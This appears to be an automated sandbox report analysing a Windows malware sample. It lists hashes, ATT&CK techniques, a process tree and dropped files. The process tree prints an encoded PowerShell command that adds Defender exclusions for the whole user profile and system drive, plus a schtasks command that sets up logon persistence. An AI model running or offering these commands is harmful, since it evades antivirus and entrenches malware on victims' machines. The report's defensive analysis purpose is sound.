360935831e4bf1ea910f4b3f9160a0e67c938c3d58b6b23f4a214fc38f709668

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/08/2026, 06:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe
Size 4.1MB
Sample260820-g3ffbstyaw
SHA256 360935831e4bf1ea910f4b3f9160a0e67c938c3d58b6b23f4a214fc38f709668
MD5 52f2cfd7cb8d98f5fa795b1a0fb61ecf
SHA1 1b3d8e85df71987c29ca6d0e512b4e491b80b9d4
SHA512 79d00243732b83f1254b07b1a8e54c16169e4e50f51ed6d7a1dc220252d0a05aad05055e059719074e9c2358b912f597c61d803bd5265a3b80e8fdb4ca42d13c
SSDEEP 98304:HRJVlXpZL9lmSanS0e85WWb9dyTyrunrXKk7O:9lX7L/NanWM8wu7
TLSH
T1D81633C3334521DFF5E943F38A4618F891AAEB019437ECE8977D58721466D8EBC1BA06
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Executes dropped EXE 3 IoCs

pid	Process
5664	Gh_ObfuscaROXo.exe
1540	security.exe
2284	security.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5372	cmd.exe
2484	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gh_ObfuscaROXo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	security.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	security.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5288	timeout.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings	52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings	OpenWith.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5864	schtasks.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
820	powershell.exe
820	powershell.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe
5664	Gh_ObfuscaROXo.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	820	powershell.exe
Token: SeIncreaseQuotaPrivilege	820	powershell.exe
Token: SeSecurityPrivilege	820	powershell.exe
Token: SeTakeOwnershipPrivilege	820	powershell.exe
Token: SeLoadDriverPrivilege	820	powershell.exe
Token: SeSystemProfilePrivilege	820	powershell.exe
Token: SeSystemtimePrivilege	820	powershell.exe
Token: SeProfSingleProcessPrivilege	820	powershell.exe
Token: SeIncBasePriorityPrivilege	820	powershell.exe
Token: SeCreatePagefilePrivilege	820	powershell.exe
Token: SeBackupPrivilege	820	powershell.exe
Token: SeRestorePrivilege	820	powershell.exe
Token: SeShutdownPrivilege	820	powershell.exe
Token: SeDebugPrivilege	820	powershell.exe
Token: SeSystemEnvironmentPrivilege	820	powershell.exe
Token: SeRemoteShutdownPrivilege	820	powershell.exe
Token: SeUndockPrivilege	820	powershell.exe
Token: SeManageVolumePrivilege	820	powershell.exe
Token: 33	820	powershell.exe
Token: 34	820	powershell.exe
Token: 35	820	powershell.exe
Token: 36	820	powershell.exe
Token: SeDebugPrivilege	5664	Gh_ObfuscaROXo.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6096	OpenWith.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 5904 wrote to memory of 820	5904	52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe	89
PID 5904 wrote to memory of 5664	5904	52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe	92
PID 5664 wrote to memory of 5372	5664	Gh_ObfuscaROXo.exe	94
PID 5664 wrote to memory of 2484	5664	Gh_ObfuscaROXo.exe	96
PID 5372 wrote to memory of 5864	5372	cmd.exe	98
PID 2484 wrote to memory of 5288	2484	cmd.exe	99
PID 2484 wrote to memory of 2284	2484	cmd.exe	102

C:\Users\Admin\AppData\Local\Temp\52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe
"C:\Users\Admin\AppData\Local\Temp\52f2cfd7cb8d98f5fa795b1a0fb61ecf.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAagBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAaQBwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAeABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGcAZgBjACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:820
- C:\Users\Admin\AppData\Local\Temp\Gh_ObfuscaROXo.exe
  "C:\Users\Admin\AppData\Local\Temp\Gh_ObfuscaROXo.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5664
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "security" /tr '"C:\Users\Admin\AppData\Roaming\security.exe"' & exit
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5372
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "security" /tr '"C:\Users\Admin\AppData\Roaming\security.exe"'
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5864
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD018.tmp.bat""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2484
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:5288
  - - C:\Users\Admin\AppData\Roaming\security.exe
      "C:\Users\Admin\AppData\Roaming\security.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2284

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6096

C:\Users\Admin\AppData\Roaming\security.exe
"C:\Users\Admin\AppData\Roaming\security.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1540

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Gh_ObfuscaROXo.exe

Path C:\Users\Admin\AppData\Local\Temp\Gh_ObfuscaROXo.exe
Size 4.0MB
SHA256 7bd1ef75e1f425e64578ef1f00f9067d0c90c612b0b2b889517b38c005cee3e3
MD5 0e7ccefbe69e683859cf37f93f788d5c
SHA1 4a255c912995a63772642d1f9f9460eaef0258b9
SHA512 ed383c57ae249db10c178eca45d1dde56d2ca90b008b732d7f17080103a3cf2419322ad5a7e08fc419eaf14f8d29166d06bfdf8e64b269364c894ef0ba7e61cf
SSDEEP 49152:dW/EGSPGFZNEbG4186gteyr6jE3WXpLgf:dW/xZOgteyr6jgWXyf
TLSH
T1E016E4C05BB0D662C07584FD76737F209199C3B197A2DDAFB5406B3A2EE918CCE0E991
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\LICENSE
Size 34KB
SHA256 8b1ba204bb69a0ade2bfcf65ef294a920f6bb361b317dba43c7ef29d96332b9b
MD5 e49f4652534af377a713df3d9dec60cb
SHA1 7bc5474bacf20ef085e04ded37c5e604c197cf07
SHA512 adfa9547f59d194835eb7cfa4014fd3f972470f92802e1f9c39e636225f285331956620accc7d431e5c0ff4171a462ef184c334e2bd639a92d383e22501ae60c
SSDEEP 768:Fo1acy3LTB2VsrHG/OfvMmnBCtLmJ9A7R:Fhcycsrfrnouk
TLSH
T140F2835FB74413B2018206A26A9F68DEE319D03A73664095785DC15C27B3E3483BFBED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpD018.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpD018.tmp.bat
Size 152B
SHA256 d05122fba4dfa7ee96820f8b892ff2fd84ee36181bc9756323fa09dcac012568
MD5 80befa56608a7c9d2eb6b2cf29f2fe0d
SHA1 da9165abef880886af8a73099f52f761694b3ec0
SHA512 57c2a722c55b02eacae0605500f4c770c52a4bbcbf1318b5021e569121e89bc564e727b8bfc488b87911ca4bf738797de21c1f0cd818032631415ac54997ca64
TLSH
T1FBC02B42D1C9EA3E2809281302FED4DCA1726C593F40BF10C704446D72C084CF4E93C9
MD5 SHA1 SHA512 TLSH

Submit Download

memory/820-22-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-26-0x000001F2AAFC0000-0x000001F2AAFDE000-memory.dmp

Download

memory/820-42-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-12-0x000001F2AAF10000-0x000001F2AAF32000-memory.dmp

Download

memory/820-38-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-35-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-19-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-20-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-21-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-40-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-23-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-44-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-28-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-27-0x000001F2AB3C0000-0x000001F2AB472000-memory.dmp

Download

memory/820-29-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-30-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-31-0x000001F2AAFE0000-0x000001F2AAFEA000-memory.dmp

Download

memory/820-36-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/820-41-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/5664-45-0x0000000005DB0000-0x0000000005E4C000-memory.dmp

Download

memory/5664-39-0x0000000000B20000-0x0000000000F2C000-memory.dmp

Download

memory/5904-14-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/5904-37-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/5904-0-0x00007FFF84B0F000-0x00007FFF84B10000-memory.dmp

Download

memory/5904-9-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/5904-3-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/5904-2-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

Download

memory/5904-1-0x0000000000A60000-0x0000000000E76000-memory.dmp

Download